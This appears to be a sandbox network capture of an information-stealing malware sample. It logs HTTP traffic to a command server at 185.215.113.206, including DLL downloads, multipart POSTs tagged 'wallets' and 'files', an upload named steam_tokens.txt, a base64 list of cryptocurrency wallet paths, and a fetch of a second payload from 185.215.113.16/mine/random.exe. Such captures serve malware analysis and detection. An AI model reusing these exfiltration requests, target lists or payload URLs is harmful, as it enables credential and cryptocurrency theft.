Nov 20, 2024 21:05:52.388991117 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 20, 2024 21:05:53.028271914 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 21:05:53.472939968 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 20, 2024 21:05:54.507211924 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBKEHJJDAAAAKECBGHDA Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 21:05:55.629158020 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 21:05:55.729638100 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJKFBFIJJECGCAAAFCBG Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4b 46 42 46 49 4a 4a 45 43 47 43 41 41 41 46 43 42 47 2d 2d 0d 0a Data Ascii: ------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------JJKFBFIJJECGCAAAFCBGContent-Disposition: form-data; name="message"wallets------JJKFBFIJJECGCAAAFCBG--
Nov 20, 2024 21:05:56.177288055 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:55 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 20, 2024 21:05:56.183264017 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHCGHJDBFIIDGDHIJD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 2d 2d 0d 0a Data Ascii: ------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------ECFHCGHJDBFIIDGDHIJDContent-Disposition: form-data; name="message"files------ECFHCGHJDBFIIDGDHIJD--
Nov 20, 2024 21:05:56.630608082 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 21:05:56.745420933 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBKECAKFBGCAKECGIEH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 4b 45 43 41 4b 46 42 47 43 41 4b 45 43 47 49 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GCBKECAKFBGCAKECGIEHContent-Disposition: form-data; name="file"------GCBKECAKFBGCAKECGIEH--
Nov 20, 2024 21:05:57.685359001 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 21:05:57.735116959 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHDBGDHDAECBGDHJKFID Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------EHDBGDHDAECBGDHJKFIDContent-Disposition: form-data; name="message"ybncbhylepme------EHDBGDHDAECBGDHJKFID--
Nov 20, 2024 21:05:58.183675051 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 20:05:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 20, 2024 21:06:03.205739021 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBGDAAKJJDAAKFHJKJKF--

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49899	185.215.113.16	80	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 21:05:58.307907104 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 20, 2024 21:05:59.719173908 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 20:05:59 GMT Content-Type: application/octet-stream Content-Length: 1858048 Last-Modified: Wed, 20 Nov 2024 19:42:35 GMT Connection: keep-alive ETag: "673e3bab-1c5a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfJ@0J9@WkH<II @.rsrcH@.idata @ *@hwqxmwlo@0<@mfzfwoibI4@.taggant0J"8@
Nov 20, 2024 21:05:59.719245911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 21:05:59.719299078 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 21:05:59.719350100 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 21:05:59.719384909 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: >>0#ZRxByB$aed
Nov 20, 2024 21:05:59.719419003 CET	1236	IN	Data Raw: 49 01 9e 3a 01 c2 8e ec d0 fd 2a 88 1d 0d 91 5d f9 12 72 a8 79 fe 66 f2 56 56 60 68 78 41 49 f0 b9 f2 2a 84 74 5a cd be d1 c2 c2 48 2a 67 a0 58 d5 50 02 b4 76 f6 ed fa 29 c3 71 93 39 f3 8a d0 ed fe b6 77 79 f3 f2 cc 6a 12 d5 60 1b 0e 0c fd d6 d6 Data Ascii: I:]ryfVV`hxAItZHgXPv)q9wyj`1Vic2m[mV`R8Qbr:paK3hQApYPx<Zy2MRbAt}&jWHJ`nDvMbr{`^K3(Q~H~vr=aC
Nov 20, 2024 21:05:59.719451904 CET	1236	IN	Data Raw: 07 e2 ac 55 18 37 e5 d9 1f 8e ca 7b 60 85 7b 66 c1 d0 a9 91 4a d6 9a e4 e8 93 61 60 56 7b e3 1b 00 b2 81 63 cb 58 ca b5 0b 6d 92 2e 9b d3 56 d3 c1 1c 72 8e ba 60 d1 93 3a 97 a8 31 98 84 a0 17 94 d4 72 4b d1 0e 56 de 7a b5 8a 9a 7f 33 b3 04 f2 c2 Data Ascii: U7{`{fJa`V{cXm.Vr`:1rKVz3f\|B:Ht8gJA[=s;IQ]br:JPe44J+btW*d\BQ'B(V\,-'mUP99(OkdA1AuRv
Nov 20, 2024 21:05:59.719485044 CET	1236	IN	Data Raw: 3a d6 b9 a2 3f ed 7c 38 55 92 fd 3c da 18 72 51 eb c3 70 cc 51 4b 65 49 38 9b 72 ac 7f a3 25 55 2a 73 02 ec 5d ec 1f 47 01 a5 5c 9e fb ab 08 fc d0 8d b0 04 25 d7 73 b7 1b 94 c5 59 7d 59 ee fb 50 88 d4 d7 68 ff 87 d3 61 52 e9 5b d0 96 e2 a8 28 d6 Data Ascii: :?\|8U<rQpQKeI8r%U*s]G\%sY}YPhaR[(AY3bx+'IaW ,,)]BlZTm EM5d4Ppb-crg\<fPdT[\|2dqg-/HmR-.cP3e!S
Nov 20, 2024 21:05:59.719517946 CET	1236	IN	Data Raw: c4 f4 92 5e 52 3a 01 4b 2f 1e 13 98 26 4d 64 c8 3f d1 01 c0 88 ef 2e 55 1b 4c 03 c8 3d c6 40 c0 4b 2b e1 dd 89 af 23 6f c5 40 42 4f 02 e6 21 6c 09 96 73 0c 3d 50 86 e6 51 57 65 b2 26 0d 1c 7c 10 4e 49 90 fa 94 26 5c 7b 65 c9 a7 5b 56 91 d8 4a 81 Data Ascii: ^R:K/&Md?.UL=@K+#o@BO!ls=PQWe&\|NI&\{e[VJuEY@#Z`EX+5Q%Q([b#TfL($8I3UY3"QH]9~%OGU"YwT1`]p fWp+OUQ\|
Nov 20, 2024 21:05:59.719553947 CET	1236	IN	Data Raw: e8 39 2b 02 2b 37 13 dd a7 95 5f 34 75 88 05 f9 9a 93 f0 1e 02 8f c3 af 51 9c 0d e3 a0 88 13 db 8e 5c 0c ad 02 b3 62 91 d4 dd 59 5d e4 1f 68 85 6a 36 29 68 b9 96 4b 88 0c 7f 2c 6b 62 6f 1f 8a fd d3 6a 16 ad 06 ea 04 60 09 ee e4 b9 72 33 30 65 b5 Data Ascii: 9++7_4uQ\bY]hj6)hK,kboj`r30eSW_aiI)z\trTW1~:Rh`-F?O\fQDjhL$p(mrShz!A\Qtmwn]:-`VVpK3A2.9^2(vH`c\|
Nov 20, 2024 21:05:59.839526892 CET	1236	IN	Data Raw: c8 e0 96 90 38 e7 de 81 a9 d6 1f 38 68 05 32 ea 49 51 c2 5f d1 49 bb 26 cc 11 68 bd 3f df 20 df c0 25 dc 98 f9 d8 aa c0 da 72 46 c0 1a 53 52 23 9c 31 5e 0c de bc 03 2e d3 44 66 f5 8d c2 24 c2 5a 2a 30 79 8b 2b 40 97 ed 0a 05 5e dd 23 ff 4f 18 d5 Data Ascii: 88h2IQ_I&h? %rFSR#1^.Df$Z*0y+@^#O&"K%1k>IQjBPY9AhA9PGCyyf(O\OGY`$Ddc(#APMi!o #R2@1cOx$XVSqX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49911	185.215.113.206	80	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 21:06:03.497670889 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKF Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 61 33 37 61 37 34 64 66 39 63 65 65 38 61 66 62 65 37 32 39 38 65 61 33 36 66 37 32 33 35 35 62 64 30 61 35 63 35 37 61 62 34 64 32 39 34 66 38 65 30 30 37 39 31 65 65 34 35 66 61 33 33 62 33 38 63 63 64 65 62 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 45 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="token"7a37a74df9cee8afbe7298ea36f72355bd0a5c57ab4d294f8e00791ee45fa33b38ccdeba------EBGDAAKJJDAAKFHJKJKFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------EBGDAAKJJDAAKFHJKJKF--
